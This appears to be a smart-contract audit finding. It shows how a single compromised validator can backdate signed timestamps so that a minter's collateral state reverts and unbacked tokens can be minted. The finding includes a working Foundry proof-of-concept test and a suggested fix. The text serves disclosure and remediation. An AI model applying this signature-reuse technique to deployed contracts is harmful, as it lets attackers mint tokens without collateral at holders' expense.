Validator threshold can be bypassed: a single compromised validator can update minter's state to historical state
The `updateCollateralValidatorThreshold` specifies the minimum number of validators needed to confirm the validity of `updateCollateral` data. However, just one compromised validator is enough to alter a minter's collateral status. In particular, this vulnerability allows the compromised validator to set the minter's state back to a historical state, allowing malicious minters to increase their collateral.\\nThe `updateCollateral()` function calls the `_verifyValidatorSignatures()` function, which calculates the minimum timestamp signed by all validators. This timestamp is then used to update the minter state's `_minterStates[minter_].updateTimestamp`. The constraint during this process is that the `_minterStates[minter_].updateTimestamp` must always be increasing.\\nFunction updateCollateral():\\n```\\n        minTimestamp_ = _verifyValidatorSignatures(\\n            msg.sender,\\n            collateral_,\\n            retrievalIds_,\\n            metadataHash_,\\n            validators_,\\n            timestamps_,\\n            signatures_\\n        );\\n        // rest of code\\n        _updateCollateral(msg.sender, safeCollateral_, minTimestamp_);\\n        // rest of code\\n```\\n\\nFunction _updateCollateral():\\n```\\n    function _updateCollateral(address minter_, uint240 amount_, uint40 newTimestamp_) internal {\\n        uint40 lastUpdateTimestamp_ = _minterStates[minter_].updateTimestamp;\\n\\n        // MinterGateway already has more recent collateral update\\n        if (newTimestamp_ <= lastUpdateTimestamp_) revert StaleCollateralUpdate(newTimestamp_, lastUpdateTimestamp_);\\n\\n        _minterStates[minter_].collateral = amount_;\\n        _minterStates[minter_].updateTimestamp = newTimestamp_;\\n    }\\n```\\n\\nIf we have 1 compromised validator, its signature can be manipulated to any chosen timestamp. Consequently, this allows for control over the timestamp in `_minterStates[minter_].updateTimestamp` making it possible to update the minter's state to a historical state. An example is given in the following proof of concept. The key here is that even though `updateCollateralValidatorThreshold` may be set to 2 or even 3, as long as 1 validator is compromised, the attack vector would work, thus defeating the purpose of having a validator threshold.\\nProof Of Concept\\nIn this unit test, `updateCollateralInterval` is set to 2000 (default value). The `updateCollateralValidatorThreshold` is set to 2, and the `_validator1` is compromised. Following the steps below, we show how we update minter to a historical state:\\nInitial timestamp is `T0`.\\n100 seconds passed, the current timestamp is `T0+100`. Deposit 100e6 collateral at `T0+100`. `_validator0` signs signature at `T0+100`, and `_validator1` signs signature at `T0+1`. After `updateCollateral()`, minter state collateral = 100e6, and updateTimestamp = `T0+1`.\\nAnother 100 seconds passed, the current timestamp is `T0+200`. Propose retrieval for all collateral, and perform the retrieval offchain. `_validator0` signs signature at `T0+200`, and `_validator1` signs signature at `T0+2`. After `updateCollateral()`, minter state collateral = 0, and updateTimestamp = `T0+2`.\\nAnother 100 seconds passed, the current timestamp is `T0+300`. Reuse `_validator0` signature from step 1, it is signed on timestamp `T0+100`. `_validator1` signs collateral=100e6 at `T0+3`. After `updateCollateral()`, minter state collateral = 100e6, and updateTimestamp = `T0+3`.\\nNow, the minter is free to perform minting actions since his state claims collateral is 100e6, even though he has already retrieved it back in step 2. The mint proposal may even be proposed between step 1 and step 2 to reduce the mintDelay the minter has to wait.\\nAdd the following testing code to `MinterGateway.t.sol`. See more description in code comments.\\n```\\n    function test_collateralStatusTimeTravelBySingleHackedValidator() external {\\n        _ttgRegistrar.updateConfig(TTGRegistrarReader.UPDATE_COLLATERAL_VALIDATOR_THRESHOLD, bytes32(uint256(2)));\\n\\n        // Arrange validator addresses in increasing order.\\n        address[] memory validators = new address[](2);\\n        validators[0] = _validator2;\\n        validators[1] = _validator1;\\n\\n        uint initialTimestamp = block.timestamp;\\n        bytes[] memory cacheSignatures = new bytes[](2);\\n        // 1. Deposit 100e6 collateral, and set malicious validator timestamp to `initialTimestamp+1` during `updateCollateral()`.\\n        {\\n            vm.warp(block.timestamp + 100);\\n\\n            uint256[] memory retrievalIds = new uint256[](0);\\n            uint256[] memory timestamps = new uint256[](2);\\n            timestamps[0] = block.timestamp;\\n            timestamps[1] = initialTimestamp + 1;\\n\\n            bytes[] memory signatures = new bytes[](2);\\n            signatures[0] = _getCollateralUpdateSignature(address(_minterGateway), _minter1, 100e6, retrievalIds, bytes32(0), block.timestamp, _validator2Pk);\\n            signatures[1] = _getCollateralUpdateSignature(address(_minterGateway), _minter1, 100e6, retrievalIds, bytes32(0), initialTimestamp + 1, _validator1Pk);\\n            cacheSignatures = signatures;\\n\\n            vm.prank(_minter1);\\n            _minterGateway.updateCollateral(100e6, retrievalIds, bytes32(0), validators, timestamps, signatures);\\n\\n            assertEq(_minterGateway.collateralOf(_minter1), 100e6);\\n            assertEq(_minterGateway.collateralUpdateTimestampOf(_minter1), initialTimestamp + 1);\\n        }\\n\\n        // 2. Retrieve all collateral, and set malicious validator timestamp to `initialTimestamp+2` during `updateCollateral()`.\\n        {\\n            vm.prank(_minter1);\\n            uint256 retrievalId = _minterGateway.proposeRetrieval(100e6);\\n\\n            vm.warp(block.timestamp + 100);\\n\\n            uint256[] memory newRetrievalIds = new uint256[](1);\\n            newRetrievalIds[0] = retrievalId;\\n\\n            uint256[] memory timestamps = new uint256[](2);\\n            timestamps[0] = block.timestamp;\\n            timestamps[1] = initialTimestamp + 2;\\n\\n            bytes[] memory signatures = new bytes[](2);\\n            signatures[0] = _getCollateralUpdateSignature(address(_minterGateway), _minter1, 0, newRetrievalIds, bytes32(0), block.timestamp, _validator2Pk);\\n            signatures[1] = _getCollateralUpdateSignature(address(_minterGateway), _minter1, 0, newRetrievalIds, bytes32(0), initialTimestamp + 2, _validator1Pk);\\n\\n            vm.prank(_minter1);\\n            _minterGateway.updateCollateral(0, newRetrievalIds, bytes32(0), validators, timestamps, signatures);\\n\\n            assertEq(_minterGateway.collateralOf(_minter1), 0);\\n            assertEq(_minterGateway.collateralUpdateTimestampOf(_minter1), initialTimestamp + 2);\\n        }\\n\\n        // 3. Reuse signature from step 1, and set malicious validator timestamp to `initialTimestamp+3` during `updateCollateral()`.\\n        //    We have successfully "travelled back in time", and minter1's collateral is back to 100e6.\\n        {\\n            vm.warp(block.timestamp + 100);\\n\\n            uint256[] memory retrievalIds = new uint256[](0);\\n            uint256[] memory timestamps = new uint256[](2);\\n            timestamps[0] = block.timestamp - 200;\\n            timestamps[1] = initialTimestamp + 3;\\n\\n            bytes[] memory signatures = new bytes[](2);\\n            signatures[0] = cacheSignatures[0];\\n            signatures[1] = _getCollateralUpdateSignature(address(_minterGateway), _minter1, 100e6, retrievalIds, bytes32(0), initialTimestamp + 3, _validator1Pk);\\n\\n            vm.prank(_minter1);\\n            _minterGateway.updateCollateral(100e6, retrievalIds, bytes32(0), validators, timestamps, signatures);\\n\\n            assertEq(_minterGateway.collateralOf(_minter1), 100e6);\\n            assertEq(_minterGateway.collateralUpdateTimestampOf(_minter1), initialTimestamp + 3);\\n        }\\n    }\\n```\\n
Use the maximum timestamp of all validators instead of minimum, or take the threshold-last minimum instead of the most minimum.
As shown in the proof of concept, the minter can use the extra collateral to mint M tokens for free.\\nOne may claim that during minting, the `collateralOf()` function checks for `block.timestamp < collateralExpiryTimestampOf(minter_)`, however, since during deployment `updateCollateralInterval` is set to 86400, that gives us enough time to perform the attack vector before "fake" collateral expires.
```\\n        minTimestamp_ = _verifyValidatorSignatures(\\n            msg.sender,\\n            collateral_,\\n            retrievalIds_,\\n            metadataHash_,\\n            validators_,\\n            timestamps_,\\n            signatures_\\n        );\\n        // rest of code\\n        _updateCollateral(msg.sender, safeCollateral_, minTimestamp_);\\n        // rest of code\\n```\\n